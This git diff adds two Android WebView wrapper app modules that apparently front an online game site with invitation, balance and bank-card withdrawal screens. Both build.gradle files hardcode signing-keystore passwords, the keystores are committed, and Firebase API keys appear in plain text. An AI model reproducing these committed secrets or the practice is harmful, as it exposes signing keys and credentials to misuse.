a/m1m/src/main/res/xml/provider_paths.xml b/m1m/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/m1m/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/m1m/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/m1m/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/m1m/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/madani777/.gitignore b/madani777/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/madani777/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/madani777/build.gradle b/madani777/build.gradle new file mode 100644 index 0000000..3ef6bc9 --- /dev/null +++ b/madani777/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.madani777" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "madani777" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/madani777/google-services.json b/madani777/google-services.json new file mode 100644 index 0000000..0e26196 --- /dev/null +++ b/madani777/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "323640512081", + "project_id": "madani777-96d82", + "storage_bucket": "madani777-96d82.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:323640512081:android:1c40694e1aecfa75bc7270", + "android_client_info": { + "package_name": "com.web.madani777" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAkoeF61V3pzP24tlX9tMCD0Em3xhJOGGI" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/madani777/ppn.jks b/madani777/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/madani777/ppn.jks differ diff --git a/madani777/proguard-rules.pro b/madani777/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/madani777/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/madani777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/madani777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/madani777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/madani777/src/main/AndroidManifest.xml b/madani777/src/main/AndroidManifest.xml new file mode 100644 index 0000000..de624b3 --- /dev/null +++ b/madani777/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/madani777/src/main/java/com/web/madani777/MainActivity.java b/madani777/src/main/java/com/web/madani777/MainActivity.java new file mode 100644 index 0000000..ff60d9a --- /dev/null +++ b/madani777/src/main/java/com/web/madani777/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.madani777; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 153; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://madani777.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fbfbfb"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#f9fbfa"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/madani777/src/main/java/com/web/madani777/MyFirebaseMessageingService.java b/madani777/src/main/java/com/web/madani777/MyFirebaseMessageingService.java new file mode 100644 index 0000000..8c25acd --- /dev/null +++ b/madani777/src/main/java/com/web/madani777/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.madani777; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/madani777/src/main/java/com/web/madani777/WebApplication.java b/madani777/src/main/java/com/web/madani777/WebApplication.java new file mode 100644 index 0000000..9cce472 --- /dev/null +++ b/madani777/src/main/java/com/web/madani777/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.madani777; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/madani777/src/main/res/drawable-anydpi/ic_action_back.xml b/madani777/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/madani777/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/madani777/src/main/res/drawable-hdpi/ic_action_back.png b/madani777/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/madani777/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/madani777/src/main/res/drawable-mdpi/ic_action_back.png b/madani777/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/madani777/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/madani777/src/main/res/drawable-v24/ic_launcher_foreground.xml b/madani777/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/madani777/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/drawable-xhdpi/ic_action_back.png b/madani777/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/madani777/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/madani777/src/main/res/drawable-xxhdpi/ic_action_back.png b/madani777/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/madani777/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/madani777/src/main/res/drawable/big_bg.xml b/madani777/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..8302e9d --- /dev/null +++ b/madani777/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/madani777/src/main/res/drawable/ic_launcher_background.xml b/madani777/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/madani777/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/madani777/src/main/res/drawable/input_bg.xml b/madani777/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/madani777/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/madani777/src/main/res/drawable/pass_word_bg.xml b/madani777/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/madani777/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/madani777/src/main/res/drawable/pass_word_bg1.xml b/madani777/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/madani777/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/drawable/pass_word_bg2.xml b/madani777/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/madani777/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/drawable/shape_btn_bg.xml b/madani777/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/madani777/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/drawable/shape_dialog_bg2.xml b/madani777/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/madani777/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/drawable/shape_dialog_bg3.xml b/madani777/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/madani777/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/drawable/shape_dialog_bg_new.xml b/madani777/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/madani777/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/madani777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/madani777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/madani777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/madani777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/mipmap-hdpi/ic_empty.png b/madani777/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/madani777/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/madani777/src/main/res/mipmap-hdpi/ic_pull_down.png b/madani777/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/madani777/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/madani777/src/main/res/mipmap-xhdpi/ic_close.png b/madani777/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/madani777/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/madani777/src/main/res/mipmap-xhdpi/ic_menu.png b/madani777/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/madani777/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/madani777/src/main/res/mipmap-xxhdpi/app_logo.png b/madani777/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..40a8e59 Binary files /dev/null and b/madani777/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/madani777/src/main/res/values-en/strings.xml b/madani777/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/madani777/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/madani777/src/main/res/values-night/themes.xml b/madani777/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..b08f503 --- /dev/null +++ b/madani777/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/values/colors.xml b/madani777/src/main/res/values/colors.xml new file mode 100644 index 0000000..8cad7fe --- /dev/null +++ b/madani777/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #fbfbfb + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/madani777/src/main/res/values/strings.xml b/madani777/src/main/res/values/strings.xml new file mode 100644 index 0000000..ebd885b --- /dev/null +++ b/madani777/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + MADANI99 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/values/themes.xml b/madani777/src/main/res/values/themes.xml new file mode 100644 index 0000000..58db0d2 --- /dev/null +++ b/madani777/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/xml/app_updater_paths.xml b/madani777/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/madani777/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/madani777/src/main/res/xml/network_security_config.xml b/madani777/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/madani777/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/madani777/src/main/res/xml/provider_paths.xml b/madani777/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/madani777/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/madani777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/madani777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/madani777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/maucuci/.gitignore b/maucuci/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/maucuci/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/maucuci/build.gradle b/maucuci/build.gradle new file mode 100644 index 0000000..423c8cb --- /dev/null +++ b/maucuci/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.maucuci" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "maucuci" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_theme') +} \ No newline at end of file diff --git a/maucuci/google-services.json b/maucuci/google-services.json new file mode 100644 index 0000000..54fd16a --- /dev/null +++ b/maucuci/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1060218410128", + "project_id": "maucuci-9651c", + "storage_bucket": "maucuci-9651c.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1060218410128:android:0b8a700289378d4dba7415", + "android_client_info": { + "package_name": "com.xyz.maucuci" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBb107_oeQFeofrtoa70tN80ukITSHgSrg" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/maucuci/justlet.jks b/maucuci/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/maucuci/justlet.jks differ diff --git a/maucuci/proguard-rules.pro b/maucuci/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/maucuci/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/maucuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/maucuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/maucuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No 